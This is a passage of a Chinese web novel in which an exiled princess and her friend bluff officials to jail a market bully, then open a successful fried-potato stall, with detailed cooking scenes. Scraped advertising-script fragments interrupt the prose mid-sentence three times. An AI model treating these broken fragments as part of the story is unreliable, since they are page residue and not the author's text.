“我家的这个摊位,折半租给盛小娘子,多谢危急时刻护我妻女。”赵大顺把乔乔颠稳一点,与冯桃对视一眼,“之后我们两家还得常来常往,做好睦邻。” 盛时云没有回绝。三仙街摊位价贵,能折半自然是再好不过。她方才也看了一眼,赵家布摊旁边,有一家海货摊,还有一家凉粉凉皮摊。自己这个做小吃的,和他们并不冲突。 伏念的关注点却不在这。钱壮是青州城的地头蛇,官兵们也奈何不了他。寻常百姓被欺负了只能认倒霉,要是有异议,私下里不知道还要遭多少报复。 这也是赵大顺赶来时没敢正眼瞧他的原因。 “兵老爷,这不对啊。他占了人家的摊位,又调戏女眷。不仅要把这几天的租子钱拿回来,还得道歉赔礼才行!” “欸,不必了不必了。”赵大顺伸手拦开伏念,无计可施,“多谢侠女相救,这几日的摊子就算我白给他用。事情闹大了也没有好处。” “顺子,可是……”冯桃想出声抱怨几句,被赵大顺一眼瞪了回去。她原本忍着的眼泪,委屈地落了下来。普通人家没有倚仗,连哭都得小声哭。 盛时云走到伏念身边,扯扯她的衣角,示意她不要说话。赵大顺见她俩态度没有松动,只能赶紧置身事外,以防钱壮记恨上自己。再道了几声谢,就拽着妻子孩子一同回了家。 “跑得真快。”伏念看着赵大顺的匆忙避开的背影,也意识到了事情的严重性,忿忿踢了钱壮一下,回头看向她,“时云,要不咱们也大事化小算了。你自己在青州,万一被报复……” “可是以后要在三仙街上摆摊,这次唬不住他,我还是会被欺负。”盛时云想了想,考虑到之后的问题,也是无可奈何。她是被驱逐的公主,身份和冯桃一家并没有区别,连身强体壮的赵大顺都怕惹祸上身,她孑然一身,拿什么让钱壮害怕? “姑娘,我劝你还是别告官。这个钱壮他啥都不怕,粘上了就是狗皮膏药,甩不掉啊。”还没散去的百姓里,有个面善的老者好心劝道。 话音一落,旁边响起了压低的声音:“她还真没准能治得了钱壮。那边那个,说自己认识北郡侯!” 这下百姓们骚动起来,窃窃私语不断。 盛时云耳朵灵,转头看向说话的位置,随后与伏念对视一眼挑了下眉。伏念了然,清了清嗓子道:“对了,冀西山跟我说过,有什么事情能找侯爷主持公道。时云,有侯爷在,你怕什么?” 这时,半昏的钱壮也清醒过来,听到伏念说的话,不屑地啐了一口唾沫,恶狠狠地瞪着眼睛:“放你娘的狗屁,一个小娘们想拿北郡侯唬你老子?” 人家北郡侯远在塞北,什么时候来青州主持公道了?简直笑掉大牙! 官兵们也已经不耐烦,咳嗽几声准备把钱壮象征性地带走。眼见无人相信,盛时云灵机一动,不紧不慢地上前一步,说道:“各位官老爷先别急,我们确实认识北郡侯。” “是这样的。北郡侯的乘坐的官轿分为红黑两色,上面有北郡独有的祥云图案,身边副将名叫冀西山。大约半个月前,他受命入京,现在路经青州,刚好把我的好友捎过来。” 盛时云循着那日宫道旁罚跪的记忆,将细节一一说出。至于祥云是不是北郡独有,她也不知道,纯靠睁眼瞎说。 青州离京城不近,离塞北更远。整个城里见过北郡侯的人,一双手就能数得过来,谁还能知道他轿子上的图案呢。 守着钱壮的官兵终于有了一丝犹豫,他们没有见过这位神龙见首不见尾的英雄人物。但按照盛时云描述的内容,确实符合北郡侯的形象。多一事不如少一事,要真的因为钱壮得罪了北郡侯,那岂非得不偿失? “我呸!那是什么人物,凭什么捎她!” 钱壮怒不可遏,“编瞎话编好点,真把自己当千金小姐了。” “这你就不知道了吧。我家在京城行医时,父亲给北郡侯的副将冀西山治过箭伤。侯爷宽下,自然对我们颇为照顾。”伏念白了钱壮一眼,又看向那些官兵,“老爷们也要给我们小女子一个交代吧?不然百姓寒心,侯爷也会不满的。” 两人打完配合,在场的人都信了七八分。官兵们最会审时度势,现下不仅要看北郡侯的面子,更要以安抚百姓为先。青州城的人们苦钱壮久矣,这事闹得不小,若是得不到妥善处理,怕是会激起民愤。 当即承诺,要钱壮赔偿赵大顺一家的损失,并在官府关押十五天,以作惩戒。 在场的几乎没有不被钱壮祸害过的,他带着几个小弟横行青州,有时顺走一家的鸡,有时摸一把别家的媳妇,百姓们都敢怒不敢言。 昔日恶霸栽在两个小姑娘手里,众人心里都出了一口恶气,暗自觉得痛快,不由得对盛时云两人刮目相看起来。 “京城的姑娘就是有胆识啊。”之前开过口的老者笑呵呵地拄着拐棍,赞赏地夸了一句。 盛时云头脑灵活,借着人多,赶紧宣传起自家的吃食,姿态大方明丽:“今天多谢爷爷和大家的帮忙。青州是个好地方,我们初来乍到,过几日要在此摆摊卖吃食,欢迎大家前来捧场,尝尝京城的手艺!” “好!必须尝尝,这么厉害的姑娘手艺绝对差不了。” 周围一片叫好。 等忙活完,已经快到午饭时间。她们顺路买了菜,盛时云把院门一插,还没转身,就感觉到伏念投射来的探究的目光。 “看我干嘛?”她把地上的蔬菜提起来,数着个数,盘算中午的菜样。 伏念抱着膝盖坐在院子里的板凳上,不错眼珠地盯着她,半晌才正经地说:“时云,我觉得你和原来不一样了。” 那可是太不一样了。盛时云没抬头,紧抿着唇抑制住笑容,糊弄道:“这下我算是想通了,父皇把我当个联姻的物件,皇后把我当眼中钉。整个皇宫都没人在意我的死活,还不如跑出来把命掌握在自己的手里。” “这才像话!”伏念高高兴兴地帮着盛时云把东西放到厨房里,由衷地为了自己好姐妹的蜕变而开心,“我们二殿下就该有血性有气魄!” “我现在就是个平头百姓,别叫我二殿下了。”她制止住伏念的话头,先去灶台边整理厨具。 兜了那么大一个圈子,她们两个现在都是饥肠辘辘。盛时云不追求做什么花样子,只想快点吃上饭。即便如此,肉也买了,菜也买了,什么都不少。 伏念在旁 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 边探头探脑地绕了绕,拿来茄子、尖椒和葱蒜,舀水洗菜。 “知道了知道了。刚才真是有惊无险,你以后自己出摊还得多加小心。”伏念嘟着嘴,她头后编了一个蓬松的麻花辫,十分娇俏,“还好说了句大话,要是让他们知道我根本没碰见北郡侯,那就惨了。” 盛时云把豆腐切成小块,好奇地回头:“那你怎么这么快就到了青州?” “不是北郡侯,是冀西山。我父亲之前确实治过他的箭伤,所以我俩还算相识。”伏念把洗好的菜码在一旁,用手背按了按脸颊,“我的马车坏了,正好看见冀西山领着一队人正在找什么东西。” “那块地方离青州也没多远,冀西山一问我,就让他骑马把我捎到城外了。”伏念剥着蒜,看盛时云从袋子里盛了一大把辣椒面,睁大眼睛,“你放这么多辣椒,想要谋害我吗?” “哎呀,这个辣椒是不辣的。”盛时云转过身,把她洗好的蔬菜拿到菜板上,茄子切片,辣椒摘盖,想起自己插翅而飞的白银,心疼得牙痒痒,“说起来,北郡侯还好心办过坏事。” 姑娘家说起八卦,简直滔滔不绝。伏念是她最亲的人,盛时云把在皇宫内碰见的那些事一股脑儿地说了出来。 北郡侯和谢明智掐架、自己被殃及池鱼,外加从大太监陈裕那“坑”来的五两银子……伏念听得前仰后合,禁不住赞叹道:“你能活到现在真是不容易。” 盛时云:“……”怎么听着不像好话呢。 备菜差不多了。盛时云把蒜末、辣椒面、芝麻、葱花放在碗里,迅速浇上热油,加入一勺酱油一勺白糖与少许盐拌匀。 切好的茄子片放到锅里,干煎到微黄熟透,捡到盘子里,和酱汁揉拌。每一片茄子上都裹着红油,色泽诱人。 伏念两眼放光,“哇”了一声,把菜端到桌子上,开始动手盛饭。 下一道是虎皮尖椒酿肉。 盛时云特意挑了微辣的尖椒,把调好的肉馅灌进去,再把尖椒下锅煎出虎皮。这道菜最讲究的是其中肉馅,需要放少量淀粉,搅拌上劲,这样的馅料会团在一起,口感更佳。 出锅时,尖椒变得柔软水灵,上面浮着一层“虎皮”,辣味混着肉香,让她们本就咕咕叫的肚子更饿了。 两道菜都上了桌,伏念眼巴巴地看着盛时云倒水刷锅,最后再做一道海带豆腐汤。 海带用的是伏念带来的干货。 锅里倒入少许油,加入大把葱花爆香。厨房里油烟四起,盛时云一向认为这样做出的汤才有“锅味”。海带下锅翻炒,再倒入清水,深绿的海带在水中飘然舒展。 她守在灶台边上把火扇大一点,等水咕嘟冒泡,再把切好的豆腐块下锅。这道汤喝的就是个鲜亮,盛时云往里面点了几滴酱油和盐,白的绿的,相得益彰。 “可算吃饭了!” 伏念迫不及待地夹了根尖椒,顾不上烫,放到嘴边吹吹两下,咬一口,眼睛就亮了。尖椒里面的水分锁在肉馅中,汤汁很多,夹着油香汩汩流入喉咙,辣味刺痛着舌尖,格外下饭。 她扒了一口饭,越嚼越香,再夹一筷子风味茄片放到嘴里,直接享受值爆表。连话都顾不上说,一碗米饭已经吃剩了一半。 盛时云端着海带豆腐汤吸溜着,暖暖的汤流进胃里,几天来的疲惫一扫而空,觉得自己整个人都活过来了。 “慢点吃慢点吃。都是你的。” 8. 炒饼丝 人生在勤,盛时云一旦决定了什么事情,就不愿再不拖延。她打算明天上午就去三仙街把摊位收拾好,下午能把准备好的土豆条拿出来,试卖一番。她唯一惦记的一件事,就是没有好好招待伏念,老远来一趟,还要陪自己忙活。 但伏念却很支持盛时云的想法。她原本就是放心不下盛时云,来看看有没有帮得上忙的地方,要是因为自己耽误了做生意,那她还不如明天就打包行李跑路。 晚饭就是盛时云做的狼牙土豆。这次多做了几种味道,分别是麻辣味、糖醋味、香辣椒味和酱香味,拌着折耳根,别有一番风味。 伏念快活地坐在板凳上。天边依稀看到月影。她一手捏着一个味道的土豆条,望着月亮思考道:“狼牙土豆,这名不好……” “怎么不好了。”盛时云趴在桌前算着自己剩下的银子,有一搭没一搭地回应:“那你说叫什么。” “叫……垒黄金,垒金条?”伏念眯着眼笑,“多接地气。” 普通刀切出来的确实像一根根金条。盛时云脑海里忽然浮现出一种荒谬感,好像现代人把西红柿拌白糖起名叫“火山积雪”。她“扑哧”笑了,嫌弃地撇嘴,嗔怪道:“你快得了吧。过来帮我算算这些钱。” 这两天买菜和原料、再加上租冯桃家的摊位都花了几笔,现在还剩下零零碎碎的六两半的银子。 下午时候,她和伏念出门把特制刀拿回来,顺路登门去赵家问价。 赵大顺把两人迎进来。这种家里大事,是默认他出面的。赵大顺半点没含糊,开口就是每月五两。 这个价在三仙街说不上高,但绝对算不上便宜。摊子位置不是一等一的好,尤其是在承诺租金折半的基础上,就显得不厚道。 两厢讨价还价,争论了一个时辰,最终敲定每月三两。这时冯桃才从里屋端茶出来,假意问了一句,责怪赵大顺要价太高。 都是邻居,现在又多了一层租客的关系,没必要斤斤计较。 更何况,她有把握能把钱翻番地赚回来。 盛时云揣着明白装糊涂,连忙推拒。签了契子,又把三两银子递给冯桃,作为第一个月的租金。 临走时,冯桃自觉理亏,把两人送到门口,解释道:“我家顺子过几天出海,到处都要用钱,他说等回来一定请两个妹妹吃顿好的。” 盛时云端得是落落大方,回礼道:“阿姐说得哪里话,这已经是妹妹占便宜了,可别这么想。” 伏念满眼看不上冯桃,往回走的路上,不满地哼哼唧唧道:“这家人真是市侩。没有咱们出头,哪能讨回赔偿来。” 盛时云把她拽回家,门口是新送来的一小麻袋土豆。伏念在她之前将袋子拎起来,顺着开门的方向撂到院内,回头,嘟着嘴问盛时云:“你干嘛不回话。” “我和冯桃还要做邻居呢,低头不见抬头见。”盛时云忙着数土豆的个数,抽空抬头看了她一眼,根本没放到心里去,“闹僵了有什么好处?” “你不怕和我闹僵了?”伏念把特制刀和契子放到桌子上,“我把东西给你放桌上了啊,等我洗个手来帮你。” “知道了。”盛时云听她这话就是没生气,只管抿着唇偷乐,见伏念洗完手走过来,才说,“你和我闹僵了的话,我就去你家门口装死,叫你给我抬进去医治医治。” 她笑得俏皮,落到伏念眼里好不生气,娇气的姑娘跺着脚跑过来,手上湿淋淋的,故意拿水弹她,唇角一勾说道:“好啊!我现在就帮你医治!” 水珠晶莹飞溅,盛时云毫无招架之力,笑得腿一软,坐在地上,两人闹作一团。 等两人忙完,天空已经黑透了。两盆切好花刀的薯条,规整干净地摆在地上,盛时云伸了伸酸痛的腰,把屉布盖在盆上防止灰尘。 明天要去出摊,两人都有些兴奋,早早地刷牙洗脸,钻了被窝。 躺到床上,没有一个人能睡着,大眼瞪小眼地互相瞅着。伏念忍不住话,开了口:“时云,你可不知道。听说你离京之后,大公主还挨罚了。” 盛时云竖起耳朵,眼睛在夜里亮闪闪的,一副八卦的样子:“为什么?” “北郡侯这次入京,是因为他有一条腿断了。说是从马上摔下来的。可是像他这种的骁勇大将,怎么可能骑不稳马。我觉得肯定有猫腻。” 伏念话锋一转,压低了声音,“陛下原本有心撮合北郡侯和大公主。谁知道大公主一见心上人腿瘸了,顿时大闹一场,说什么也不嫁。你在宫外过得自由自在,皇后气都要气死了,她女儿还放话要效仿你,上民间做生意去。” “结果没等陛下有反应,皇后先气得扇了她几巴掌。后来陛下罚她关十五天禁闭,听说她的脸肿了老高,快破相了。哈哈……” 盛时云想象了一下大公主的处境,不禁苦笑,把被子拉高了些,只露出来半张小脸:“你从哪知道的这些事?” “京城都传疯了。”伏念狡黠地眨眨眼,“还得感谢北郡侯,他要是不从马上掉下来,也传不出这些消息来。” 有点地狱,功德减一。盛时云看见伏念的表情就想乐,她眼如弯月,又考虑到北郡侯好几次地直接、间接帮了自己,决定还是不笑出声更好。 晨起的三仙街和往常一样热闹,盛时云和伏念早早到了摊上。 原本冯桃也要来帮忙,结果小乔乔那天被吓坏了,发起高烧,今天早上才刚刚降□□温。伏念知道这件事后,写了一个简单药方,叫冯桃抓药去给乔乔服下。 就近的几个小摊已经撑起招牌来,卖凉粉的莫秀娘眼最尖,一眼看出这俩姑娘是昨天“厮杀钱壮”的女豪杰。她认生,性子虽算不上文静,不却也好意思上去打招呼,只能时不时瞟一眼那边的动静。 忽然,她擀面的动作停住了,奇怪地看着新挂起来的招牌,明晃晃四个大字——“狼牙土豆”。 这倒是个新鲜名字。不止是她,来往的路人也纷纷回头,好奇地看向她们的方向。不少人还发现,推车旁边还有一块挂牌,上面写了“云家”两字,作为盛时云独有的品名。 盛时云和伏念动作快,已经把推车摆正位置。推车上面支着一个铁板,铁板前面是一排调料,左边放着香菜碎、折耳根碎、香葱碎,推车下面有一个空档,专门用来装炸好的薯条。 右边是油纸捏成的小碗和竹签,用来打包。伏念身前挂着一个围裙,围裙兜里放着零钱,用来收银找钱。这个活计也不好干,为了保证食物赶紧,伏念只能多洗手,保证不会将银子上的脏污,沾到食物上面。 昨天切出来的两盆薯条,一大早就被炸好装进推车。起得太早,两人都没来得及吃饭,现在忙了半天,肚子早就饿瘪了。盛时云左右一看,见不远处有个卖菜摊,正把新鲜的绿叶菜一棵棵摆出来。 “饿不饿?”盛时云拍拍伏念的肩膀,“你想吃发糕,还是我给你做点?” 真正的吃货怎么可能放过盛时云的好手艺。 伏念猛抬头,两眼放光 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' :“自然是吃你做的。” 盛时云表示收到。她用干净的擦手布揩了揩手,绕过推车,去买菜的摊位买了一小把青菜和豆芽。买完这些,转了个身,又向正揉着发糕的莫秀娘走去。 她家本是卖凉粉的,但是家里跟公婆都住一起,丈夫游手好闲。她为了多一点收入,也会备些发糕当作早点卖。 “阿姐,有多余的面团卖吗。”她探头,恰好对上莫秀娘的目光。莫秀娘家的第一锅发糕刚出炉。袅袅热气混着粮食的甜香,让盛时云咽了咽口水,又问了句,“发糕多少文一个?” “三文钱一个,五文钱俩。”莫秀娘从自己正在揉的面团上揪下一个剂子,“我家发糕最软最香,姑娘来几个?这块面算我搭你的。” “两个,谢谢阿姐。”盛时云接过油纸包好的发糕和面团,心满意足地往回走。刚走出几步,她像是想起了什么,回过头对莫秀娘说,“我家是新来三仙街的,在那边刚开路边摊。一会儿我做点饭菜,阿姐没吃的话不如一起吧?” 莫秀娘脸一红,揉面的动作停了下来,腼腆道:“我晓得的,昨天就见你们在此处相看摊位。只是我这边的活计没干完,恐怕赶不上一起吃。” 初来乍到,与周边的摊贩打招呼是出于礼貌。盛时云也不强求,简单告别之后,回到自家摊位前。就见伏念撑在推车上,眯着眼睛点了点头:“我原本还想提一句打招呼的事,没想到你无师自通。孺子可教也。” 她跟她爹行医惯了,虽说来去逍遥自在,但也见识了不少人情世故。像这种做生意的事,伏念更是不在话下。 “这不是全靠伏大师指点嘛。”盛时云调笑着,手也没闲着,拿着面团三扯两扯,将它扯成一个轻薄巨大的面饼,折几折,再次扯开。 把折出面层的饼胚放到铁板上。板上油热,趁着还没鼓起,在朝上的饼面上刷少许的油。放在旁边的小铲只管给饼翻面,烙到两面金黄,空气里弥漫着一股面香。 为了应付客流,推车上的铁板不小。盛时云图省事,扯的面饼也大,她想起现代夜市上烤冷面的做法,将烙好的饼再次折到一起。小铲快切,把大饼切成饼丝。 伏念把洗好的青菜和豆芽递过来,盛时云照样,将配菜都用小铲子切丝,单独翻炒到断生,放入酱油、腐乳和三勺辣椒粉。 炒拌均匀,将旁边的饼丝铲到一起。虽然没放荤菜,但味道鲜香麻辣,足够解馋。 炒饼丝又能当主食又能吃到菜,是盛时云原先最喜欢做的一道菜。要是再拌上鸡蛋和红油辣酱,青菜清脆,饼丝厚重,简直是一大享受。可惜这里没有,盛时云心里暗戳戳地遗憾,但是动作不停。 她把饼丝盛到两个油纸碗里,自信地递给伏念:“尝尝。” 伏念曾在别家食肆里看见过炒饼丝,只是没逮着机会尝过一口。现在看到碗里的饼丝裹着一层莹润的酱色,青菜油绿,豆芽白胖,食欲大振,拿着竹签送到嘴里,好吃得说不出话来。 “随便做的,还行吧?”盛时云饿得都有些胃疼,好在现在天气不热,人也吃得多些,她一手端着炒饼丝,一手拿着发糕,坐在推车后的凳子上,感叹道:“这个发糕也好吃,你尝尝。” “必须行。”伏念碗里的饼丝不久就见了底,她咬着发糕站起来。看了看日头,又看了看推车外路过的行人,无端觉得好多目光都向自己投来,“咱们什么时候开卖?” 盛时云有点噎得慌,鼓着小脸,咽了一口:“午饭前吧。” 9. 开张大吉! 把时间安排在午饭前,自然为了是吸引腹中饥饿的顾客,人的习惯莫过于此,一旦吃饱了,无论什么美味都会变得不值一提。 但是人算比不上天算。盛时云吃下最后一口炒饼丝,再抬头,心情突然很微妙——“好多人啊!”。 即使没有涌到推车前,可是不断投射来的目光却是骗不了人的。 两个姑娘都是有生意经验的人,对视一眼,顿时明白了对方的心意。 说干就干。盛时云对自己的手艺十分自信,将铁板铲干净,热锅热油,漏勺抄起一勺提前炸过的薯条,放在板上。金黄的薯条旁边欢快地冒起小泡,上面已经结出喷香的锅巴。 三勺特制辣椒面、一勺盐、一勺半蒜油。盛时云将调料与土豆混在一起,铁板温度刚好提升到位,翻炒间,油烟飘起,伴随着辣椒的味道,呛中带香,直冲天灵盖。 “香辣椒味。”盛时云把做好的第一份狼牙土豆盛到油纸里,一锅可以盛出三碗,伏念用小勺往里面撒上葱花、香菜和折耳根,十分默契。 循着香味围过来的人更多了。“狼牙土豆”的招牌醒目显眼,但青州城百姓没吃过,一看食材用的是土豆,更觉得亏本。可即便如此,摊上的香气太霸道,就算知道是土豆,闻着味道也心里痒痒的,只盼着有第一个人买了尝过,好吃的话自己再买。 也有人认出她们俩是昨日与钱壮对峙的姑娘,好奇地上前问道:“一份多少文?” “三文钱。”盛时云用手指比了个OK形状的三,想到古代人看不懂自己的手势,颇为遗憾地收回手,扬着笑脸,“狼牙土豆,新来的吃食,可以试吃,不喜欢的话不买也行。” “一碗是一份的量,大家可以随意品尝。”伏念把两份狼牙土豆在推车前面摆好,旁边放上竹签,另一份捧在手里,往旁边凉粉摊的莫秀娘那里送去。 盛时云之所以要把香辣椒味当做试吃口味,是因为这个味道既没有那么辣,又有一股诱人的香味,可以说老少皆宜,引人注目。 众人看到有便宜可占,方才还犹豫观摩、半信半疑,现在直接一拥而上。竹签戳起狼牙土豆,吃进嘴里,酥脆麻辣,混着折耳根又多了一层鲜,勾得人舌尖蓄着辣,口中却是香得泛起津液。 盛时云做的是良心买卖,狼牙土豆分量不小,若是让一个女子一口气吃完甚至会肚子发撑。因此,虽然土豆在青州司空见惯,却没人觉得三文钱贵了,反倒认为物有所值。 做生意最喜欢顾客有这样的心理。这样一来,所有人都觉得自己不亏,回头客也就出现了。 一群人你一口我一口,两份狼牙土豆不多时就见了底。伏念恰好回来,声音清脆地介绍道:“我们一共有四种风味,麻辣、香辣椒、酱香和糖醋。后两种是不辣的,更适合孩子的口味。” 她们这边太热闹,原本三仙街这边常逛的就是百无聊赖的闲人,谁看了热闹都乐意驻足。远远一望,就见两个白净的年轻小娘子,一个赛一个的好看,铁板上翻炒的小吃,一闻到就令人狠狠吞了吞口水。 “酱香的怎么卖?” 打头的是个老人,盛时云一眼就认出是昨日街上为她们说话的那位热心肠,笑盈盈道:“阿公来啦,都是三文钱,昨天就说要来捧场子的。”她利索地将铁板再次铲干净,往上面浇油,又从推车下面舀起一勺薯条。 波浪形的薯条落到铁板上,发出“嗞啦”的声音。盛时云做了许多次的狼牙土豆,已经能一眼掌握好油温,随着土豆条的煎炸,跟老头聊天。 “你这场子根本用不着我捧,香得馋人嘞。”老头呵呵地笑了,从钱袋子里摸出三个铜板交给伏念,“我在青州住了一辈子,也没见过这种新鲜东西,你瞧那个土豆条还是弯弯曲曲的。” “要不说叫狼牙土豆呢。”盛时云往里面加了两勺特意买的老酱,出锅盛好,问道,“葱花香菜和蕺菜,有忌口吗?” “都吃。”老头很痛快,从她手里接过小吃,等不及躲开旁边,站在原地先往嘴里递了一口。刚出锅的薯条还很烫,尤其是里面,一口能把舌头烫出泡来,他呲牙咧嘴地倒了好几口气,酱香猛冲进口腔,直叫人酣畅淋漓,十分兴奋地评价道,“从来没吃过这么做的土豆,太香了!!” “合您胃口就好。”盛时云将提前写好的一张纸条递过去,甜甜一笑,“这张纸条您收好,集齐十个不同的签名或者手印,可以免费领一份狼牙土豆。” 纸条上用朱笔写着“狼牙土豆”六个大字,背面单独括上一个位置用来给人签名。为了表示仅此一家,盛时云还别出心裁,用土豆刻了一个印章,戳在纸上,两字“云家”。 伏念眼睛一亮,拿过纸条摸了摸,不吝赞叹道:“时云,你脑子真灵。” 这个方法与集赞别无二致,扩大人气的同时更笼络老主顾,可谓一举两得。 自己也只不过是将现代的方法拿来套用。盛时云向她挤了挤眼,妥当地招揽着下一个顾客,与伏念小声说:“我这也是临时的想法,只做了二十几张。” “真的免费吗?”后面的顾客是个书生模样的青年,他把铜板付给伏念,一眨不眨地盯着盛时云翻动的锅铲,“姑娘慧心灵性,手艺真是不一般。” “小店说到做到。今天是云家第一日开摊,都是给大家的福利。”盛时云往后看了一眼排队的人数,大致数了数,高声道,“我这里只有二十多张纸条,发完为止,多谢大家包涵!” 她的话落到人群中,立马引起了一阵咕哝讨论。没有半刻,就有人问道:“那过几日还有纸条送吗?” “都是随机发放。”伏念身前的围裙兜起小铜板,一边帮忙打下手,一边收钱。她从小跟父亲行医,经常做数钱算账的事情,因此即便来人络绎不绝,她也能得心应手地算清帐来。 不远处,莫秀娘刚把凉粉刮出来码在案上,凉皮也一份份包好,等总算忙完这一阵,鼻子忽然嗅到狼牙土豆的香味。伏念送来的那份已经叫她趁热吃了,一碗下肚唇齿留香,倒是有些后悔没尝尝她们家的炒饼丝。 她挽起袖子,疲惫地锤着腰,望向两人那边。不看不知道,一看吓一跳,短短的功夫,狼牙土豆的招牌底下就排起长龙,甚至队尾都要拐到她面前了。 正在加调料的盛时云精神百倍、干劲十足,旁边收钱的伏念则是笑容满面。整个摊子都洋溢着积极向上的氛围。 莫秀娘洗净手,坐在板凳上,慢吞吞切着黄瓜丝,比刚才清闲了不少。 那边狼牙土豆的盛景莫秀娘只在有节日时见过。虽说三仙街在青州已经是数一数二热闹的街道,但还未见过平常日子里能有小吃这么火爆。 她不是眼红嫉人之辈,只在心中暗暗钦佩。这两个姑娘果然是个能人。 盯着看了一会儿,莫秀娘忽然见到盛时云往她的方向指了指。正在买吃食的主顾,转了个身,拿着两份狼牙土豆向自己走来。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 做生意久了,再腼腆的人看到客人降临也会精神百倍。莫秀娘站起了,两手扶着箩筐,招呼道:“来点什么?” “还有多余的面剂子吗?”来者是个中年妇女,一看就是要回家准备晚饭,“我相公中午回来说这边云家的炒饼挺香。我上云家那边问了,没卖到,说是从你这买的剂子。” 想起中午盛时云做的那顿炒饼,确实是香飘三仙街。只是没想到她们素不相识,还能给自己推生意,莫秀娘一副恍然大悟的样子,心中涌起对盛时云的好感,赶紧应声,弯下腰切了一块:“有的有的,这些够吗?” “够了。”女人说着,被清香的黄瓜味引得朝凉皮看了一眼,“管拌吗?给来一份凉粉,再来一份凉皮。” “管拌,您稍等片刻。”莫秀娘利索地刮下一捧凉粉,放在油纸上,停顿着劝道,“下次想吃可以带个碗来,更方便。” “今天菜可真多。又吃炒饼又吃土豆,再来份凉菜,要不是我家那口子天天累得够呛,我才不舍得买这些东西呢。”女人拎着两份狼牙土豆,给莫秀娘展示,“新来那俩姑娘,手艺不错,摊子也干净,你尝过她家的狼牙土豆了吗?味道好得很。” 莫秀娘把油纸裹上,闻到辣味,无端咽了咽口水:“吃过,确实是好东西。面剂子一文钱,一共十四文。” 送走了顾客,她撑头看向狼牙土豆招牌下忙碌的两人,亲近感迸生,忽然感受到一种极为蓬勃的生命力。 盛时云做事主打礼貌待人,亲睦相处。两个良善的小娘子,适性任情,看起来一副好欺负的样子,却没人忘了钱壮那泼皮还在官府关着。 这样一来,包括莫秀娘在内的周边摊贩,都对这俩新来的小吃摊主刮目相看。即使有人见她生意红火,内心妒羡,但总归没有影响自家生意,乐得保持着一堂和气。 香气持续飘散,各种调料的味道混在一起,实在带劲。 推车下面的薯条桶已经快要见底。盛时云歪打正着,青州人偏爱辣口,少食酸甜,因此一开始只有香辣椒和麻辣味最受欢迎,直到有一个小孩拿着三枚铜钱,要了个糖醋的,摩肩擦踵绕着的人群,才惊觉自己舍了个美味。 因为加糖,薯条上裹了一层薄薄的脆壳,上面撒着芝麻让口感更加丰富。少许甜味碰在舌尖上没有腻味,被醋中和,只有别致的浓香,倒让人吃了这口想下口。 眼见着日落西山,桶里的薯条只够卖一份多一点。伏念闲出手来敲了敲,将薯条全舀到铁板上,问盛时云的意见:“这些都放到一锅里行吗?” 盛时云看了看,摇头:“还按原来的量走,剩下的咱们自己吃。” 她多留着一个心眼。卖吃食讲究从一而终,不能多给、也不能少给,防止有人钻了空子,拿吃食的分量找一些没必要的麻烦。 “那我吃糖醋的。” 伏念高高兴兴地收拾着自己这边的物件,在板凳上坐下,把围裙里面的铜板全都数了一个来回,只等盛时云卖出最后一份收工。 “明天我们也会发纸条。午饭前就出摊。”盛时云将狼牙土豆递出去,回应顾客的问题,“今日份卖完了,感谢大家捧场。喏,你的糖醋味。” 摘下围裙,盛时云长长舒了口气,将伏念的那份狼牙土豆丢到她怀里,见伏念没动,好奇地探过头问道:“怎么了?” 伏念猛抬头,脸上都兴奋地多了两坨红:“你猜猜,咱们赚了多少钱!” 10. 黏糊麻辣烫 伏念的手在铁板上飞快划拉着字迹,口中念念有词:“你想,撇开土豆、灶火,再把置办的东西平分到每一日……” 两人在推车后嘀嘀咕咕,铜板被收在桌上哗啦作响,金石碰撞的声音格外悦耳,让她们忙了一天的心情都放松下来。 “赚了一百八十六文啊!”伏念激动得攥住盛时云的肩膀来回摇晃,“我们时云真是不鸣则已一鸣惊人,怎么这么厉害呢!” 等等等等!一千个铜板是一贯钱,一贯钱是一两银子……盛时云还是有点晕,她从小就偏科,对数字概念极不敏锐,做不到像伏念只消一眼,就把账看得清清楚楚。 她捏着一枚铜板,忽然惊喜地呼喊出声:“这么说,我再干十天就能赚二两银了!” 这幅迷糊的样子,与方才做生意时判若两人。伏念哈哈大笑,拍了拍她的后背,扬眉道:“我就说嘛,现在才有点原来的样子,就刚才炒土豆的精明模样,我以为你被什么神仙附体了。” 一听这话,盛时云咧唇跟着笑出声,她不好意思地摸摸鼻子,心道原主确实是被自己附体了。收起所有的铜板,杏眸一眨,偏头问:“那你觉得我原来是什么样的?” “原来嘛……有点怨天尤人,也有点懦弱。我这么说你别生气,现在不一样了,秀外惠中,总算是没白费你这张脸蛋。”伏念捏着她的脸,假装凶狠道,“你和我说实话,是不是皇后和大殿下又欺负你来着?这次相见你真的和变了个人一样。” 最后一句是伏念一直想说的,但问题尖锐,她生怕盛时云回忆起不好的往事,就算两人关系亲密,也难问出口。 “哪有什么事。”盛时云摇摇头,两人一起动手,很快就将东西摞好,推起推车往家走,一路走一路聊,“我之前都和你说了,只不过是看透了我的处境,想起自己还有一门手艺能讨生活。我以后要用赚来的钱开一间大酒楼,名字就叫食昀酒楼,如何?” “食、昀。不错!”伏念看盛时云在自己手心里写下的两字,跟着往前推车,想了想,她好奇问道,“你真的没打算用自己的姓氏做招牌吗?” 大周不少的买卖摊位都是用姓氏当招牌,大家认为冠姓的买卖更有保障,对老板也更加认可,比如伏念家的几个药房,用的就是“伏氏药房”这个招牌。 “天底下重名重姓的人这么多,宫里的人也不会追到青州来。你不怕影响生意?” “要是因为一个名字就会影响生意,那只能说我技艺不精。好不容易脱离了皇室,我得独善其身才行,绝不能再有一丝沾染。”盛时云始终有一股拗劲,对于自己认定的事情,看法几乎不会改变。 皇宫是一团长刺的乱麻,稍有不慎就难脱身,刺破鲜血淋漓。若非牵扯太多,她甚至想过改姓隐居,省得那些达官贵人什么时候想起了自己,跑过来找麻烦。 “说得对。”伏念若有所思,也坚定了想法,“你这么有能耐,光凭香飘十里就能引得一群人慕名而来,自然用不着那些虚的。” 